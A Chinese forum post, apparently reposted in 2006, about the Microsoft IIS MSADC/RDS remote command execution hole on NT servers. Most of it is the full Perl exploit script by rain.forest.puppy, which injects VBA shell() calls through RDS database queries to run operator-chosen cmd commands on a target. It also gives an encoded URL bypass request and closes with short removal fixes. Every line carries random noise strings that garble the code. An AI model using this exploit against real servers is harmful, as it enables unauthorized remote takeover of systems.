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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Q_x/e|sd  
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涉及程序: ?TLMoqmXM{  
Microsoft NT server dyC: Mko=  
EL;IrtU  
描述: w$u=_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 dc|"34;^"  
T4F}MVK  
详细: { %vX/Ek  
如果你没有时间读详细内容的话,就删除: ;lB%N t<,  
c:\Program Files\Common Files\System\Msadc\msadcs.dll t:9}~%~  
有关的安全问题就没有了。 g~S>_~WL  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 k*\WzBTd  
9N:Bu'j&/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 u I}S9  
关于利用ODBC远程漏洞的描述,请参看: m>yk4@a  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G!C2[:[g  
:MV]OLRM  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 W7c(] tg.  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp hCD0Zel  
hHm &u^xY  
这里不再论述。 {Nuwz|Ci  
U"v(9m@  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: kOmTji7  
[-x~Q[  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @kenv3[Lc  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! a]>gDDF  
7<<pP  
;O}%_ef@  
#将下面这段保存为txt文件,然后: "perl -x 文件名" bjmUU6VLT  
Ia=wf"JS)  
#!perl V<$g^Vb  
# Z2_eTC u  
# MSADC/RDS 'usage' (aka exploit) script ),(ejRP'r  
# cZuZfMDM  
# by rain.forest.puppy 4_ztIrw  
# !h4S`2oZ/  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me mnzamp  
# beta test and find errors! (`5No:?v<  
tKjPLi71  
use Socket; use Getopt::Std; |FHeT*"  
getopts("e:vd:h:XR", \%args);  Jx9S@L`  
I,(m\NalK  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 5?r#6:(yI  
@Kd1|K  
if (!defined $args{h} && !defined $args{R}) { "WdGY*r  
print qq~ bae .?+0[  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z3<>Z\6D  
-h <host> = host you want to scan (ip or domain) #UG|\}Lp  
-d <seconds> = delay between calls, default 1 second ZSuUmCm  
-X = dump Index Server path table, if available MUh )  
-v = verbose :DXkAb2  
-e = external dictionary file for step 5 +AhR7R!  
O8(;=exA  
Or a -R will resume a command session I\&..e0l  
\bw71( Q  
~; exit;} PspH[db  
qAUqlSP5  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; \K.i8f,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2f9~:.NgF  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 'S@%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); iA3d[%tBb  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} j0B, \A  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $Q{)AN;m  
8>RGmue  
if (!defined $args{R}){ $ret = &has_msadc; {mY<R`Ee  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} s-Q-1lKV,  
tSV}BM,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 7h?PVobe  
. "cmd /c "; 7(rTGd0  
$in=<STDIN>; chomp $in; =u QCm#  
$command="cmd /c " . $in ; g dT3,8`#[  
Y5&Jgn.l  
if (defined $args{R}) {&load; exit;} 1_%jDMYH  
.;ml[DXH  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <mjH#aSy  
&try_btcustmr; gQ3Co./  
)tl=tH/$  
print "\nStep 2: Trying to make our own DSN..."; */sVuD^b`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Z#BwJHh  
H=?v$! i  
print "\nStep 3: Trying known DSNs..."; 6^F"np{w  
&known_dsn; 0N$tSTo.-<  
&Y%Kr`.h  
print "\nStep 4: Trying known .mdbs..."; "%dWBvuO  
&known_mdb; \j !JRD+j  
%Rj:r!XB:  
if (defined $args{e}){ W?mn8Y;{`  
print "\nStep 5: Trying dictionary of DSN names..."; QMea2q|3$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } izsAn"v  
M7^PWC  
print "Sorry Charley...maybe next time?\n"; [X0Wfb}{  
exit; JM!rop^  
3P3x^NI  
############################################################################## GzWmXm  
q{@j$fMt0  
sub sendraw { # ripped and modded from whisker %Js3Y9AL C  
sleep($delay); # it's a DoS on the server! At least on mine... dRTtDH"%  
my ($pstr)=@_; 767xCP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z)xGZ*{=  
die("Socket problems\n"); H$au02dpU  
if(connect(S,pack "SnA4x8",2,80,$target)){ ks< gSCB  
select(S); $|=1; Idop!b5!  
print $pstr; my @in=<S>; kD dY i7g>  
select(STDOUT); close(S); 1,=U^W.G  
return @in; hV#+joT8i  
} else { die("Can't connect...\n"); }} <Z{\3X^  
]IMBRZQqb  
############################################################################## fqZqPcT0  
hAi50q;z  
sub make_header { # make the HTTP request )[yM4QFl  
my $msadc=<<EOT u6IEBYG ((  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \!j{&cJ  
User-Agent: ACTIVEDATA S9d+#6rn  
Host: $ip ugcWFB5|  
Content-Length: $clen A1e|Y  
Connection: Keep-Alive ke_Dd?  
4N& VT"  
ADCClientVersion:01.06 {c`kC]9  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 oRFHq>-.g  
pm$,B7Q`oO  
--!ADM!ROX!YOUR!WORLD! o7S,W?;=5  
Content-Type: application/x-varg EzqYHY+_r  
Content-Length: $reqlen 0M(\xO  
}&sF \b  
EOT +Wh0Of  
; $msadc=~s/\n/\r\n/g; vS%o>"P  
return $msadc;} (.4mX t  
wG [X*/v  
############################################################################## EL$l . v  
9$8B)x  
sub make_req { # make the RDS request +:pjQ1LsJ  
my ($switch, $p1, $p2)=@_; ~f0Bu:A)  
my $req=""; my $t1, $t2, $query, $dsn; NF&R}7L  
gd^1c}UZX  
if ($switch==1){ # this is the btcustmr.mdb query )D_#  
$query="Select * from Customers where City=" . make_shell(); ,!_$A}@0 ^  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . f?kA,!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} _Z z" `  
Z12-Vps  
elsif ($switch==2){ # this is general make table query w^EAk(77  
$query="create table AZZ (B int, C varchar(10))"; 0FD#9r  
$dsn="$p1";} 4CVtXi_Y  
1.U5gW/3L  
elsif ($switch==3){ # this is general exploit table query $Q*h+)g<  
$query="select * from AZZ where C=" . make_shell(); K.4t*-<`[  
$dsn="$p1";} JYA$_T  
RhIRCN9  
elsif ($switch==4){ # attempt to hork file info from index server zC #[  
$query="select path from scope()"; ^55#!/9  
$dsn="Provider=MSIDXS;";} }/q]:3M|  
+#7 e?B  
elsif ($switch==5){ # bad query W- 5Z"m1I  
$query="select"; O`1_eK~1<  
$dsn="$p1";} d|CSWcU  
H4p N+  
$t1= make_unicode($query); !]=  
$t2= make_unicode($dsn); y<jW7GNt  
$req = "\x02\x00\x03\x00"; Z8$n-0Ww  
$req.= "\x08\x00" . pack ("S1", length($t1)); T(zE RWo  
$req.= "\x00\x00" . $t1 ; ]8FSs/4  
$req.= "\x08\x00" . pack ("S1", length($t2)); b!Pz~faXD  
$req.= "\x00\x00" . $t2 ; nylrF"'e  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; mlc0XDS%  
return $req;} |n3fAN  
tQE=c 7/M  
############################################################################## 6=A   
NwbB\Wl  
sub make_shell { # this makes the shell() statement k2DT+}u7G  
return "'|shell(\"$command\")|'";} 19O /Q,9  
MLg+ 9y  
############################################################################## p+#$S4V  
:@# '&(#~  
sub make_unicode { # quick little function to convert to unicode sc dU  
my ($in)=@_; my $out; D]n9+!Ec1f  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _1_CYrUc  
return $out;} U;f~Q6iu  
0V6gNEAUg  
############################################################################## 3p`*'j2R  
7qj<|US  
sub rdo_success { # checks for RDO return success (this is kludge) 21i?$ uU  
my (@in) = @_; my $base=content_start(@in); cnJ(Fv_F$  
if($in[$base]=~/multipart\/mixed/){ &?C% -"|c  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} e@N@8i"q5  
return 0;} H:byCFN-  
tmEF7e`(o  
############################################################################## &U/7D!^X  
W(U:D?e  
sub make_dsn { # this makes a DSN for us S_?{ <{  
my @drives=("c","d","e","f"); ZP75zeH  
print "\nMaking DSN: "; 7`-fN|  
foreach $drive (@drives) {  l%XuYYQ  
print "$drive: "; AX=$r]_  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {`~uBz+dJq  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" W&>ONo6ki  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); r5y p jT^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; "`<tq#&C1  
return 0 if $2 eq "404"; # not found/doesn't exist OSACH0h  
if($2 eq "200") { nP`#z&C  
foreach $line (@results) { @vzv9c[  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 9XtR8MH  
} return 0;} I- oY@l`  
pIcvsd  
############################################################################## HUUN*yikj  
p2T<nP<Pt  
sub verify_exists { 5n,?&+*L  
my ($page)=@_; W$&{jr-p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); #nG?}*#  
return $results[0];} =(\ /+ 0-[  
2MS-e}mi  
############################################################################## }!-BZIOlO  
V*]cF=W[A  
sub try_btcustmr { 9w\ yWxl  
my @drives=("c","d","e","f"); 2P)*Y5`KBH  
my @dirs=("winnt","winnt35","winnt351","win","windows"); x[XN;W&  
,pfHNK-u  
foreach $dir (@dirs) { vX|i5P0)8  
print "$dir -> "; # fun status so you can see progress 0'&N?rS  
foreach $drive (@drives) { h\C" ti2  
print "$drive: "; # ditto  %T9'dcM  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; fsd,q?{a:  
$reqlenlen=length( "$reqlen" ); J3/2>N]/}  
$clen= 206 + $reqlenlen + $reqlen; !F ]7q]g  
o2p;$W4`  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); qz]b8rX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 2^Y@e=^A  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} AcC'hr.N+  
I !\;NVhv  
############################################################################## |ci1P[y  
3O %u?  
sub odbc_error { ~J #^L*  
my (@in)=@_; my $base; : &! >.Y  
my $base = content_start(@in); [fVtQ@-S!  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this q]PeS~PjF\  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PeCU V6  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Py?EA*(d#  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; VL6_in(  
return $in[$base+4].$in[$base+5].$in[$base+6];} N0UL1[ur  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; }?PvNK]",  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . C|"BMam  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} *WS'C}T  
4n1-@qTPF~  
############################################################################## 4q%hn3\  
m3o+iYkMD  
sub verbose { WEX6I 16  
my ($in)=@_; :.xdG>\n3  
return if !$verbose; !a %6nBo  
print STDOUT "\n$in\n";} s Yp?V\Y"  
eAkC-Fm  
############################################################################## ]*fiLYe9  
&+"-'7  
sub save { -TL `nGF  
my ($p1, $p2, $p3, $p4)=@_; @C\>P49  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 47 ]?7GU,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; fg[]>:ZT.  
close OUT;} SU. 9;I !  
`8 Q3=^)3  
############################################################################## gD$bn=  
 x!)[l;  
sub load { "v%|&@  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; /%O+]#$`0  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ^uG^XY&ItC  
@p=<IN>; close(IN);  k2]Q~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); pS [nKcyj  
$target= inet_aton($ip) || die("inet_aton problems"); >LqW;/&S<  
print "Resuming to $ip ..."; :i{$p00 G  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; xw1@&QwM  
if($p[1]==1) { cSMiNR  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; z x e6M~+  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; q ERdQ~M,  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); QY$Z,#V)  
if (rdo_success(@results)){print "Success!\n";} l;u_4`1H  
else { print "failed\n"; verbose(odbc_error(@results));}} MqA%hlq  
elsif ($p[1]==3){ |ji={  
if(run_query("$p[3]")){ ?U}Ml]0~  
print "Success!\n";} else { print "failed\n"; }} bKAR}JM&  
elsif ($p[1]==4){ 6x6xv:\  
if(run_query($drvst . "$p[3]")){ c UJUZ@ol  
print "Success!\n"; } else { print "failed\n"; }} Z:TW{:lrI  
exit;} X?3?R\/  
CuS"Wj  
############################################################################## A4C4xts]N  
FrPpRe%!  
sub create_table { l~cT]Ep  
my ($in)=@_; %Fb4   
$reqlen=length( make_req(2,$in,"") ) - 28; kaKV{;UM  
$reqlenlen=length( "$reqlen" ); [ij8h,[~]  
$clen= 206 + $reqlenlen + $reqlen; _dg2i|yP<  
my @results=sendraw(make_header() . make_req(2,$in,"")); +a@:?=hc  
return 1 if rdo_success(@results); Yh^~4S?  
my $temp= odbc_error(@results); verbose($temp); lQ t&K1m  
return 1 if $temp=~/Table 'AZZ' already exists/; jg,oGtRz  
return 0;} dV~yIxD}C*  
T[$! ^WT  
############################################################################## CO+[iJ,4C+  
 P5&mpl1  
sub known_dsn { ss8de9T"'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go hvc%6A\nm  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", n aQ0TN,  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", *{/L7])gm  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /Ah|Po  
,{KjVv<  
foreach $dSn (@dsns) { *jAw  
print "."; vocXk_  
next if (!is_access("DSN=$dSn")); w_*UFLMSqR  
if(create_table("DSN=$dSn")){ Dg:2*m_!j{  
print "$dSn successful\n"; 4nIs+  
if(run_query("DSN=$dSn")){ l}#z#L2,`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {e>E4(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} IV#kF}9$  
+N~?_5lv\s  
############################################################################## &HS6}  
3n\eCdV-b<  
sub is_access { e3|@H'~k  
my ($in)=@_; #fF~6wopV  
$reqlen=length( make_req(5,$in,"") ) - 28; ig] hY/uT  
$reqlenlen=length( "$reqlen" ); jjs1Vj1@<  
$clen= 206 + $reqlenlen + $reqlen; uude<d"U  
my @results=sendraw(make_header() . make_req(5,$in,"")); ^CZ)!3qd1  
my $temp= odbc_error(@results); =f4v: j}'|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); q;XO1Se  
return 0;} yUZ;keQ_Tw  
!A5UT-  
############################################################################## $U{ \T4  
]+ \]2`?  
sub run_query { 3`W=rIMli  
my ($in)=@_; ]w)*8 w.)  
$reqlen=length( make_req(3,$in,"") ) - 28; Z$8 X1(o  
$reqlenlen=length( "$reqlen" ); (3H'!P7|~  
$clen= 206 + $reqlenlen + $reqlen; n'dxa<F2|  
my @results=sendraw(make_header() . make_req(3,$in,"")); 319 &:  
return 1 if rdo_success(@results); L}>XH*  
my $temp= odbc_error(@results); verbose($temp); im}=  
return 0;} d#?.G3YmK  
'h?;i2[  
############################################################################## A;pVi;7  
%J_`-\)"{~  
sub known_mdb { b IS 3  
my @drives=("c","d","e","f","g"); ;M<jQntqS{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p@/i e@DX  
my $dir, $drive, $mdb; .x 1&   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; rQW&$M  
3EM=6\#q  
# this is sparse, because I don't know of many `ViFY   
my @sysmdbs=( "\\catroot\\icatalog.mdb", n+C,v.X  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", LLa72HW  
"\\system32\\certmdb.mdb", 3C=|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% SBj9sFZ  
U\_-GS;1  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", hQm"K~SW=  
"\\cfusion\\cfapps\\forums\\forums_.mdb", '+!@c&d#%o  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0st)/\  
"\\cfusion\\cfapps\\security\\realm_.mdb", ( TQx3DGq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", **zh>Y}6  
"\\cfusion\\database\\cfexamples.mdb", (c{<JYEC  
"\\cfusion\\database\\cfsnippets.mdb", %E!^SF?Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 4 Ar\`{c>  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $LS$:%i4  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3#d5.Ut  
"\\cfusion\\database\\smpolicy.mdb", INm21MS$  
"\\cfusion\\database\cypress.mdb", Nb))_+/  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", LI>tN R~  
"\\website\\cgi-win\\dbsample.mdb", ~S\Ee 2e>  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", *?k~n9n5U  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uC _&?  
); #these are just oGK 1D  
foreach $drive (@drives) { JN9 W:X.  
foreach $dir (@dirs){ 7 TTU&7l~  
foreach $mdb (@sysmdbs) { CC(At.dd  
print "."; ) o)k~6uT  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ b*-g@S  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \2F$FRWo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 6[-N})  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s|Hrb_[;l  
} else { print "Something's borked. Use verbose next time\n"; }}}}} \'rh7!v-u  
(s/hK  
foreach $drive (@drives) { kc0YWW Q-:  
foreach $mdb (@mdbs) { S nMHk3(\  
print "."; $1Lm=2;U  
if(create_table($drv . $drive . $dir . $mdb)){  i7qG5U  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0?D`|x_  
if(run_query($drv . $drive . $dir . $mdb)){ 4t(V)1+  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; m=Z1DJG  
} else { print "Something's borked. Use verbose next time\n"; }}}} }CR@XD}[  
} N2!HkUy2  
XO*|P\#^  
############################################################################## qusX]Tst z  
7=YjY)6r^  
sub hork_idx { W9!EjXg  
print "\nAttempting to dump Index Server tables...\n"; 2#sJ`pdQ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; tgu}^TfKkg  
$reqlen=length( make_req(4,"","") ) - 28; sqAZjfy@  
$reqlenlen=length( "$reqlen" ); '.n0[2>  
$clen= 206 + $reqlenlen + $reqlen; Gw"H#9J} T  
my @results=sendraw2(make_header() . make_req(4,"","")); ,ux?wa+  
if (rdo_success(@results)){ rKlu+/G  
my $max=@results; my $c; my %d; 4M)  s  
for($c=19; $c<$max; $c++){ 9-<EeV_/  
$results[$c]=~s/\x00//g; }Q7 ~tu  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Et\z^y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; e 1W9Z $m  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; F_m[EB  
$d{"$1$2"}="";} ])dq4\Bw  
foreach $c (keys %d){ print "$c\n"; } Up61Xn  
} else {print "Index server doesn't seem to be installed.\n"; }} =WaZy>n}7  
hpftVEB  
############################################################################## N :#"4e  
u$7o d$&S  
sub dsn_dict { =.@{ uu;  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ppw0vaJ^  
while(<IN>){  V~V_+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #q7`"E=M"  
next if (!is_access("DSN=$dSn")); /cPe zX  
if(create_table("DSN=$dSn")){ :G&tM   
print "$dSn successful\n"; l{:7*U{d  
if(run_query("DSN=$dSn")){ uG1)cm B}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { YlI/~J  
print "Something's borked. Use verbose next time\n";}}} YT)jBS~&  
print "\n"; close(IN);} O|t@p=]  
@M[t|  
############################################################################## (Rqn)<<2  
CzP?J36W^  
sub sendraw2 { # ripped and modded from whisker 3` ov?T(H  
sleep($delay); # it's a DoS on the server! At least on mine... jhd&\z-  
my ($pstr)=@_; $^ \8-k "  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ZK =`Y@  
die("Socket problems\n"); y.$/niQ%  
if(connect(S,pack "SnA4x8",2,80,$target)){ efj[7K.h  
print "Connected. Getting data"; ZzU3j^  
open(OUT,">raw.out"); my @in; }9w?[hXW"  
select(S); $|=1; print $pstr; PU0Ha  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 3I87|5V,Z  
close(OUT); select(STDOUT); close(S); return @in; Lh0qB)>  
} else { die("Can't connect...\n"); }} &5]&6TD6  
0n5{Wr$  
############################################################################## jB+K)NXHL  
!Cq2<[K#  
sub content_start { # this will take in the server headers i%jti6z$Hr  
my (@in)=@_; my $c; -YF]k}|  
for ($c=1;$c<500;$c++) { ~x:\xQti  
if($in[$c] =~/^\x0d\x0a/){ ZT*RD2,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +Y7"!wYR>  
else { return $c+1; }}} #S?xRqkc  
return -1;} # it should never get here actually ('H[[YODh  
Nj8 `<Sl  
############################################################################## gq[|>Rs75  
,e6n3]W8  
sub funky { ,+0#.N s$  
my (@in)=@_; my $error=odbc_error(@in); f+#^Lngo  
if($error=~/ADO could not find the specified provider/){ rkdf htpI  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; xign!=  
exit;} B@P +b*%  
if($error=~/A Handler is required/){ ?`wO \>y  
print "\nServer has custom handler filters (they most likely are patched)\n"; X,m6#vLK2  
exit;} Y?cdm}:Ou  
if($error=~/specified Handler has denied Access/){ eko$c,&jY  
print "\nServer has custom handler filters (they most likely are patched)\n"; -6wjc rTD  
exit;}} &L&6 y()G  
J$' Q3k  
############################################################################## p.(8ekh  
H/qv%!/o  
sub has_msadc { Ne{2fV>8Ay  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [PVem  
my $base=content_start(@results); AfU~k!4`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); WCK;r{p%I  
return 0;} ;?-A 4!V,  
QWqEe|}6  
######################## CC Z'(Tkq  
ulY8$jB  
V1[Cc?o  
解决方案: u\LbPk  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll *G'R+_tdE  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Wq5Nc  
\^l273  
拿出来充数 哈哈
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